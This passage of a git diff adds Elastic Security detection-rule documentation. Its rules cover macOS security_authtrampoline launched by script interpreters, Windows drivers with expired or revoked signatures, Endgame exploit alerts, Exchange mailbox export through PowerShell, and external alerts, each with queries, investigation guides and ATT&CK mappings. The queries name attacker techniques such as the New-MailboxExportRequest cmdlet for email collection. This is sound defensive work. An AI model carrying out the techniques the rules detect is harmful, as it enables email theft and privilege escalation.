rule identifies such activities by monitoring the initiation of `security_authtrampoline` through common scripting languages, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process name matches one of the specified scripting interpreters (e.g., osascript, bash, python) to verify the context of the alert. +- Examine the command line arguments of the security_authtrampoline process to identify the script or program being executed and assess its legitimacy. +- Investigate the user account associated with the process to determine if the credentials used are valid and expected for executing such scripts. +- Check the historical activity of the involved user account and associated processes to identify any patterns of unusual or unauthorized behavior. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. +- Assess the system for any signs of compromise or unauthorized changes, such as unexpected new files, altered configurations, or additional unauthorized processes running. + + +*False positive analysis* + + +- Legitimate administrative tasks using scripting languages may trigger this rule. Users should review the context of the script execution to determine if it aligns with expected administrative activities. +- Automated scripts or scheduled tasks that require elevated privileges might be flagged. Consider creating exceptions for known scripts by specifying their hash or path in the monitoring system. +- Development or testing environments where developers frequently use scripting languages to test applications with elevated privileges can cause false positives. Implement a policy to exclude these environments from the rule or adjust the risk score to reflect the lower threat level. +- Security tools or software updates that use scripting interpreters to perform legitimate actions with elevated privileges may be mistakenly identified. Verify the source and purpose of such processes and whitelist them if they are deemed safe. +- User-initiated scripts for personal productivity that require elevated access could be misinterpreted as threats. Educate users on safe scripting practices and establish a process for them to report and document legitimate use cases for exclusion. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate the `security_authtrampoline` process if it is still running to stop any ongoing unauthorized activities. +- Review and revoke any compromised credentials used in the execution of the unauthorized script to prevent further misuse. +- Conduct a thorough examination of the system for any additional unauthorized scripts or malware that may have been deployed using the compromised credentials. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected. +- Implement stricter access controls and monitoring for the use of scripting interpreters and the `security_authtrampoline` process to prevent similar privilege escalation attempts. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "security_authtrampoline" and + process.parent.name like~ ("osascript", "com.apple.automator.runner", "sh", "bash", "dash", "zsh", "python*", "perl*", "php*", "ruby", "pwsh") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Elevated Execution with Prompt +** ID: T1548.004 +** Reference URL: https://attack.mitre.org/techniques/T1548/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-expired-or-revoked-driver-loaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-expired-or-revoked-driver-loaded.asciidoc new file mode 100644 index 0000000000..dc3ab52b99 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-expired-or-revoked-driver-loaded.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-expired-or-revoked-driver-loaded]] +=== Expired or Revoked Driver Loaded + +Identifies an attempt to load a revoked or expired driver. Adversaries may bring outdated drivers with vulnerabilities to gain code execution in kernel mode or abuse revoked certificates to sign their drivers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerable Driver +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Expired or Revoked Driver Loaded* + +In Windows environments, drivers facilitate communication between the OS and hardware. Adversaries exploit vulnerabilities in outdated drivers or misuse revoked certificates to execute malicious code in kernel mode, bypassing security controls. The detection rule identifies such threats by monitoring for drivers with expired or revoked signatures, focusing on processes critical to system integrity, thus flagging potential privilege escalation or defense evasion attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of a driver with an expired or revoked signature, focusing on the process with PID 4, which is typically the System process in Windows. +- Investigate the specific driver file that triggered the alert by checking its file path, hash, and any associated metadata to determine its origin and legitimacy. +- Cross-reference the driver file against known vulnerability databases and security advisories to identify any known exploits associated with it. +- Examine recent system logs and security events for any unusual activities or attempts to load other drivers around the same time as the alert. +- Assess the system for any signs of privilege escalation or defense evasion, such as unauthorized access attempts or changes to security settings. +- If the driver is confirmed to be malicious or suspicious, isolate the affected system to prevent further compromise and initiate a detailed forensic analysis. + + +*False positive analysis* + + +- Legitimate software updates may load drivers with expired or revoked signatures temporarily. Verify the source and purpose of the driver before excluding it. +- Some older hardware devices may rely on drivers that have expired signatures but are still necessary for functionality. Confirm the device's necessity and consider excluding these drivers if they are from a trusted source. +- Security software or system management tools might use drivers with expired signatures for legitimate operations. Validate the software's legitimacy and add exceptions for these drivers if they are verified as safe. +- Custom or in-house developed drivers might not have updated signatures. Ensure these drivers are from a trusted internal source and consider excluding them if they are essential for operations. +- Test environments may intentionally use expired or revoked drivers for research or development purposes. Clearly document these cases and exclude them to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any processes associated with the expired or revoked driver to halt any ongoing malicious activity. +- Conduct a thorough review of the system to identify any unauthorized changes or additional malicious drivers that may have been loaded. +- Revoke any compromised certificates and update the certificate trust list to prevent future misuse. +- Apply the latest security patches and driver updates to close any vulnerabilities that may have been exploited. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "windows" and process.pid == 4 and + dll.code_signature.status : ("errorExpired", "errorRevoked") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing +** ID: T1553.002 +** Reference URL: https://attack.mitre.org/techniques/T1553/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exploit-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exploit-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..c0d4db281a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exploit-detected-elastic-endgame.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-exploit-detected-elastic-endgame]] +=== Exploit - Detected - Elastic Endgame + +Elastic Endgame detected an Exploit. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Exploit - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects exploit attempts within an environment. Adversaries exploit vulnerabilities to execute unauthorized code or escalate privileges. The detection rule identifies alerts from the Endgame module, focusing on exploit-related events. It leverages metadata and event actions to flag high-risk activities, aiding in swift threat detection and response. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is relevant to the Elastic Endgame detection. +- Examine the event.action and endgame.event_subtype_full fields to determine the specific exploit event type, which can provide insight into the nature of the exploit attempt. +- Investigate the endgame.metadata.type field to gather additional context about the detection, such as the source and target of the exploit attempt. +- Check the associated risk score and severity level to prioritize the investigation and response efforts, focusing on high-risk activities. +- Correlate the alert with other related events in the environment to identify potential patterns or additional indicators of compromise. +- Consult the MITRE ATT&CK framework for the Execution tactic (TA0002) to understand potential techniques that might have been used and to guide further investigation steps. + + +*False positive analysis* + + +- Routine software updates or patches may trigger exploit detection alerts. Users can create exceptions for known update processes by identifying their unique metadata or event actions. +- Legitimate administrative tools that perform actions similar to exploits might be flagged. Users should whitelist these tools by specifying their event.module or event.action attributes. +- Automated scripts used for system maintenance could mimic exploit behavior. To prevent false positives, users can exclude these scripts by defining their specific endgame.event_subtype_full. +- Security testing activities, such as penetration tests, may generate alerts. Users can manage these by setting temporary exceptions during the testing period, based on the event.kind or event.module. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further exploitation or lateral movement within the network. +- Terminate any unauthorized processes identified as part of the exploit event to halt malicious activity. +- Apply relevant security patches or updates to the affected system to address the exploited vulnerability and prevent recurrence. +- Conduct a thorough forensic analysis of the affected system to identify any additional indicators of compromise or secondary payloads. +- Restore the system from a known good backup if necessary, ensuring that the backup is free from any malicious artifacts. +- Monitor the network for any signs of similar exploit attempts, using enhanced logging and alerting based on the identified threat indicators. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:exploit_event or endgame.event_subtype_full:exploit_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exploit-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exploit-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..25cea48a36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exploit-prevented-elastic-endgame.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-exploit-prevented-elastic-endgame]] +=== Exploit - Prevented - Elastic Endgame + +Elastic Endgame prevented an Exploit. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Exploit - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution designed to prevent exploits by monitoring and analyzing system behaviors. Adversaries often exploit vulnerabilities to execute unauthorized code or escalate privileges. This detection rule identifies prevention events where an exploit attempt was blocked, focusing on alerts from the Endgame module. By analyzing specific event actions and metadata, it helps security analysts quickly identify and respond to potential threats, ensuring system integrity and security. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event.kind is 'alert' and event.module is 'endgame', ensuring the alert is relevant to the Elastic Endgame module. +- Examine the endgame.metadata.type field to verify it is marked as 'prevention', indicating that the exploit attempt was successfully blocked. +- Analyze the event.action and endgame.event_subtype_full fields to determine the specific type of exploit event that was attempted, such as 'exploit_event'. +- Investigate the source and destination IP addresses, user accounts, and hostnames involved in the alert to identify potential points of compromise or targets. +- Check for any related alerts or logs within the same timeframe to identify patterns or additional indicators of compromise that may suggest a broader attack campaign. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Document findings and any actions taken in response to the alert to maintain a comprehensive record for future reference and analysis. + + +*False positive analysis* + + +- Routine software updates or patches may trigger prevention alerts as they modify system files or configurations. Review the update schedule and correlate alerts with known maintenance windows to verify legitimacy. +- Legitimate administrative tools or scripts that perform actions similar to exploit techniques can be flagged. Identify these tools and create exceptions for their known behaviors to reduce noise. +- Security testing or vulnerability scanning activities might mimic exploit attempts. Coordinate with IT and security teams to whitelist these activities during scheduled assessments. +- Custom applications with unique behaviors may be misidentified as threats. Work with development teams to understand these behaviors and adjust detection rules or create exceptions accordingly. +- Frequent alerts from specific systems or users could indicate a misconfiguration. Investigate these patterns and adjust system settings or user permissions to align with security policies. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Verify the integrity of critical system files and applications on the affected system to ensure no unauthorized changes have been made. +- Apply the latest security patches and updates to the affected system to address any known vulnerabilities that may have been targeted. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized access or privilege escalation. +- Restore the affected system from a known good backup if any unauthorized changes or exploit attempts have compromised system integrity. +- Monitor the network and system logs for any signs of similar exploit attempts or related suspicious activities to ensure no further threats are present. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be at risk. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:exploit_event or endgame.event_subtype_full:exploit_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exporting-exchange-mailbox-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exporting-exchange-mailbox-via-powershell.asciidoc new file mode 100644 index 0000000000..7e51714f99 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-exporting-exchange-mailbox-via-powershell.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-exporting-exchange-mailbox-via-powershell]] +=== Exporting Exchange Mailbox via PowerShell + +Identifies the use of the Exchange PowerShell cmdlet, New-MailBoxExportRequest, to export the contents of a primary mailbox or archive to a .pst file. Adversaries may target user email to collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 424 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Exporting Exchange Mailbox via PowerShell* + + +Email mailboxes and their information can be valuable assets for attackers. Company mailboxes often contain sensitive information such as login credentials, intellectual property, financial data, and personal information, making them high-value targets for malicious actors. + +The `New-MailBoxExportRequest` cmdlet is used to begin the process of exporting contents of a primary mailbox or archive to a .pst file. Note that this is done on a per-mailbox basis and this cmdlet is available only in on-premises Exchange. + +Attackers can abuse this functionality in preparation for exfiltrating contents, which is likely to contain sensitive and strategic data. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the export operation: + - Identify the user account that performed the action and whether it should perform this kind of action. + - Contact the account owner and confirm whether they are aware of this activity. + - Check if this operation was approved and performed according to the organization's change management policy. + - Retrieve the operation status and use the `Get-MailboxExportRequest` cmdlet to review previous requests. + - By default, no group in Exchange has the privilege to import or export mailboxes. Investigate administrators that assigned the "Mailbox Import Export" privilege for abnormal activity. +- Investigate if there is a significant quantity of export requests in the alert timeframe. This operation is done on a per-mailbox basis and can be part of a mass export. +- If the operation was completed successfully: + - Check if the file is on the path specified in the command. + - Investigate if the file was compressed, archived, or retrieved by the attacker for exfiltration. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and it is done with proper approval. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If the involved host is not the Exchange server, isolate the host to prevent further post-compromise behavior. +- Use the `Remove-MailboxExportRequest` cmdlet to remove fully or partially completed export requests. +- Prioritize cases that involve personally identifiable information (PII) or other classified data. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges of users with the "Mailbox Import Export" privilege to ensure that the least privilege principle is being followed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.command_line : ("*MailboxExportRequest*", "*-Mailbox*-ContentFilter*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-alerts.asciidoc new file mode 100644 index 0000000000..468b4b757f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-alerts.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-external-alerts]] +=== External Alerts + +Generates a detection alert for each external alert written to the configured indices. Enabling this rule allows you to immediately begin investigating external alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* apm-*-transaction* +* traces-apm* +* auditbeat-* +* filebeat-* +* logs-* +* packetbeat-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* OS: Windows +* Data Source: APM +* OS: macOS +* OS: Linux +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Rule Type: Higher-Order +* Domain: Endpoint +* Data Source: Network Packet Capture + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating External Alerts* + + +External alerts are crucial for identifying potential threats across diverse environments like Windows, macOS, and Linux. These alerts are generated from various sources, excluding specific modules like endpoint or cloud defend, to focus on broader threat landscapes. Adversaries may exploit vulnerabilities in these systems to execute unauthorized actions. The 'External Alerts' detection rule filters and highlights such activities by focusing on alert events, enabling analysts to swiftly investigate and mitigate risks. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific event.kind:alert that triggered the detection, ensuring it is not associated with the excluded modules (endgame, endpoint, or cloud_defend). +- Examine the source and context of the alert by checking the associated tags, such as 'OS: Windows', 'OS: macOS', or 'OS: Linux', to understand the environment affected. +- Gather additional context by correlating the alert with other logs or events from the same time frame or system to identify any related suspicious activities. +- Assess the risk score and severity level to prioritize the investigation and determine the potential impact on the organization. +- Investigate the origin of the alert by identifying the source IP, user account, or process involved, and check for any known vulnerabilities or exploits associated with them. +- Consult threat intelligence sources to determine if the alert corresponds to any known threat actors or campaigns targeting similar environments. + + +*False positive analysis* + + +- Alerts from benign third-party applications may trigger false positives. Review and identify these applications, then create exceptions to exclude them from future alerts. +- Routine system updates or patches can generate alerts. Monitor update schedules and create exceptions for known update activities to reduce noise. +- Network monitoring tools might produce alerts due to their scanning activities. Verify these tools and exclude their activities if deemed non-threatening. +- Alerts from internal security testing or penetration testing exercises can be mistaken for threats. Coordinate with security teams to whitelist these activities during scheduled tests. +- Certain administrative scripts or automation tasks may trigger alerts. Evaluate these scripts and exclude them if they are part of regular operations and pose no risk. + + +*Response and remediation* + + +- Isolate affected systems immediately to prevent further unauthorized actions and contain the threat. +- Conduct a thorough review of the alert details to identify any specific vulnerabilities or exploits used by the adversary. +- Apply relevant patches or updates to the affected systems to remediate any identified vulnerabilities. +- Restore systems from a known good backup if unauthorized changes or actions have been detected. +- Monitor network traffic and system logs closely for any signs of further suspicious activity or attempts to exploit similar vulnerabilities. +- Escalate the incident to the appropriate security team or management if the threat appears to be part of a larger attack campaign or if additional resources are needed for remediation. +- Enhance detection capabilities by updating security tools and configurations to better identify similar threats in the future. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and not event.module:(endgame or endpoint or cloud_defend) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-ip-address-discovery-via-curl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-ip-address-discovery-via-curl.asciidoc new file mode 100644 index 0000000000..4a060c6832 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-external-ip-address-discovery-via-curl.asciidoc @@ -0,0 +1,123 @@ 